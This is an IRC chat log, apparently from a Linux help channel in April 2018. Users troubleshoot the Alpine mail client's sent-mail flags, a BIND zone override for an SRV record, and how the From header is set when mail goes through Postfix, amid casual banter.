can manually set it with {serverurl/ssl/user=}INBOX.Sent but when I do, it puts the message in there in an unread state. 23:11 < Trel> It's nearly impossible to get good google searches for this program thanks to Alpine Linux >.> 23:12 * Psi-Jack releases the kraken on kurahaupo, and takes both his ~ and / by force. :) 23:13 < Trel> I want the work day to end so I can go ~ 23:13 < noodlepie> 4.16.2-gentoo stable here 23:14 < Psi-Jack> 0.15 hours left. :) 23:14 * kurahaupo 's clock says 07:13 Saturday. 23:16 < meyou_> is there a fairly simple way in bind or another named to sort of "mask" a zone from another DNS server 23:16 < Trel> Ugh, it's a bit windy out, I need to: c:\windows\system32\shutdown.exe /s /t 60 /c "chilly" 23:16 < meyou_> like put just a small handful of records in the zone that will override what's on the forwarder's copy of that zone 23:17 < jml2> meyou_, you can set a record for it to localhost :) 23:17 < Trel> meyou_: What forwarder? 23:17 < meyou_> jml2, well the record i had in mind was an SRV record 23:17 < jimm> isn't 0.15 of an hour, 540 secs? 23:17 < meyou_> for instance i want my server to have a foobar.com zone that contains _sipinternaltls.foobar.com SRV record 23:18 < meyou_> and other hits for that domain or any other domain should be forwarded to a DNS server I provide 23:18 < Trel> jimm: I thought it was 9 minutes 23:18 < meyou_> kinda like an inverse conditional forwarder 23:19 < jml2> meyou_, sounds like you have reading to do on how dns actually works 23:19 < jimm> Trel, yeah, same thing :) 23:19 < jml2> meyou_, you're using the wrong terminology for forwarder 23:19 < meyou_> i'm not 23:19 < Trel> jimm: I thought they were identical 23:19 < meyou_> but thx for your concern 23:20 < Psi-Jack> meyou_: "thanks" not "thx" for future self corrections. It matters. 23:20 < meyou_> ok time to ignore Psi-Jack 23:20 < Psi-Jack> meyou_: You do realize it's a rule here, no? 23:20 < Trel> Psi-Jack: potassium 23:21 < Trel> (I wanted to say, 'k' but I erred on the side of caution) 23:21 < kurahaupo> meyou_: make a zone for that singleton name 23:21 < meyou_> kurahaupo, oh wow, of course 23:22 < meyou_> thanks 23:23 < rain1> hi 23:23 < rain1> how do i make a shell script run when I click it in thunar? 23:24 < Trel> Anyway, with my alpine issue. I can mostly deal with having the location for sent mail set to the full remote folder, but is there any way to remove the new flag automatically when I do that I'm imssing? 23:24 < Trel> *missing 23:25 < kurahaupo> Trel: the "new" flag is actually the absence of any status flags, especially R (Read). You could put a custom header in outgoing messages I suppose 23:28 < Trel> kurahaupo: I think I found a solution, I'm testing it and if it works, I'll say what I found 23:29 < slondr> oops 23:29 < slondr> I dropped my monster bootloader for my magnum systemdong 23:29 < Trel> kurahaupo: yep, under settings in alpine, there a 'Mark Fcc Seen' option. 23:30 < kurahaupo> Ah, they thought of everything 23:31 < jml2> rain1, thunar's way to fix the script issue -> https://www.youtube.com/watch?v=dQw4w9WgXcQ 23:31 < jml2> :) 23:31 < uplime> lol 23:34 < Trel> kurahaupo: except that googling for help is nearly impossible thanks to 'alpine linux' so I've resorted to googling for 'pine' and hoping it wasn't something added between pine and alpine lol 23:35 < kurahaupo> Trel: yeah, "Alpine Linux" is a pesky name 23:35 < kurahaupo> Trel: site:uw.edu might help 23:36 < Trel> Not a bad idea, thanks :) 23:42 < royal_screwup21> mxomgp: what 23:42 < royal_screwup21> how have you not been k-lined yet 23:42 < pankaj_> jm12: Are you there? 23:43 < Dagmar> Trel: -alpine 23:44 < revel> Dagmar: While looking for help with Alpine, the mail client? :P 23:45 < Dagmar> -"alpine linux" should work as well 23:46 < pankaj_> What is the level of knowledge and understanding required to become a linux system administrator? 23:46 < azarus> pankaj_: you've already asked 23:47 < stevendale> o/ 23:47 < stevendale> Hi 23:49 < nobrain> stevendale: sup m8 23:50 < kurahaupo> pankaj_: whose system are you intending to administer? 23:50 < stevendale> My parents are going to Cananda in a couple of weeks... 13 hour flight and they get there before they left 23:50 < stevendale> o/ 23:50 < stevendale> Mum quit her job, so they're taking a holiday C: 23:51 < stevendale> Well she's 'quitting' it, but ya know, 14 days notice :C 23:51 < Dagmar> Don't worry. Airports use unexpected delays to avoid violations of causality. 23:51 < mynameisdebian> I set up a Postfix server and when I sent mails they all had "Debian" in the FROM field. I figured out this is usually set by the client. If I use a program like Outlook or Thunderbird as a POP3 or IMAP client, is the same true? In other words, do Outlook and Thunderbird set the FROM field when they send mail? 23:52 < Dagmar> mynameisdebian: Only if you misconfigure them to do so 23:52 < stevendale> Brb one minute 23:52 < kurahaupo> Since Canada is West of UTC+1, that's going to be an interesting flight. It's not in a blue police box by any chance? 23:53 < mynameisdebian> Dagmar: Can you elaborate on that? Where is the FROM field set otherwise? I am referring to the display name, but the display name and from email are combined in the FROM header, so I assume these are set together? 23:53 < Dagmar> mynameisdebian: It'll be set by the mail client 23:53 < Dagmar> Postfix is not a mail client. 23:53 < meyou_> mynameisdebian, when you set up an account in outlook or thunderbird they'll ask for the displayname, it'll use that 23:53 < Dagmar> You didn't send the mails properly when you handed them to Postfix or the From: field would have made more sense 23:54 < meyou_> or in thunderbird, "Your name" field 23:54 < mynameisdebian> Dagmar, some miscommunication I think, I was asking if that was true with Outlook and Thunderbird. The mails I was referring to were sent using Linux "mail" command, not using a client. Just wanted to make sure the same was true with a client because I have no recollection of ever setting the display name on a client. 23:55 < Dagmar> mynameisdebian: No, I've been using email for a rather long time now. I know you made a mistake with Postfix. 23:56 < stevendale> Back o/ 23:56 < kurahaupo> mynameisdebian: from 'mail" I'd expect From: $USER@$HOSTMAME 23:56 < mynameisdebian> Dagmar: I still think there is some miscommunication here. I don't think I made any mistakes with Postfix 23:57 < Dagmar> Feel free to continue believing in that and Santa Claus 23:57 < mynameisdebian> Dagmar: my problem was already answered. It was whether a mail client like TBird or Outlook set the FROM header. You and other people answered it affirmatively. What does that have to do with a Postfix misconfiguration? 23:57 < kurahaupo> mynameisdebian: is your $USER "debian" by any chance? 23:58 < mynameisdebian> kurahaupo: no 23:58 < Dagmar> _All_ decent mail clients set a From field. 23:58 < mynameisdebian> Again, I sent it from the command line 23:58 < mynameisdebian> just a general question about mail clients 23:58 < Dagmar> Just because mail doesn't throw an error doesn't mean you sent mail correctly. 23:58 < mynameisdebian> Dagmar, what do you think I did wrong 23:59 < mynameisdebian> I wonder 23:59 < Dagmar> You didn't tell it what to use for the From: field. 23:59 < mynameisdebian> didn't tell "what" what to use? 23:59 < mynameisdebian> Postfix? 23:59 < Dagmar> mail 23:59 < mynameisdebian> yes --- Log closed Sat Apr 14 00:00:01 2018